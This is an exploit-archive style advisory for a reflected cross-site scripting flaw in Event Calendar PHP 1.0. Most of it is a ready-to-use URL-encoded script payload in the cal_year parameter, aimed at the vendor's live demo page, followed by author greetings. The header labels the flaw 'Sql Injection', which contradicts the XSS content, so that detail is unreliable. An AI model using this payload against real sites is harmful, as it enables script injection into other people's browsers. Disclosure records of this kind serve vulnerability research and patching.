Event Calendar PHP 1.0 Cross Site Scripting

`# Exploit Title; Event Calendar PHP Cross Site Scripting Vulnerability  
# Date ; 24/03/12  
# Author ; 3spi0n  
# Script Vendor or Software Link ;  
http://www.hotscripts.com/listing/event-calendar-php/  
# Category ; Webapps  
# Type ; Sql Injection  
# Tested on ; Ubuntu / Win7  
  
[#] Script Details ;  
  
- Demo ; www.eventcalendarphp.com/demo_eventcalendar.php  
  
- Vendor ; www.eventcalendarphp.com  
  
[#] Vulnerable Details ;  
  
- Cross Site Scripting  
  
Vulnerable File ; cal_id > Variant of demo_eventcalendar.php  
  
Exploit ;  
/demo_eventcalendar.php?cal_id=1&cal_month=2&cal_year=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28939033%29%3c%2fScRiPt%3e  
  
Demo ;  
www.eventcalendarphp.com/demo_eventcalendar.php?cal_id=1&cal_month=2&cal_year=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28939033%29%3c%2fScRiPt%3e  
  
  
  
[#] Greetz ;  
  
- Grayhatz Corporation, www.Grayhatz.Co  
- My Official Blog, www.Offsec.in & www.Ryuzaki.in  
- Facebook.Com/3spi0ne - Twitter.Com/RigidusCO  
`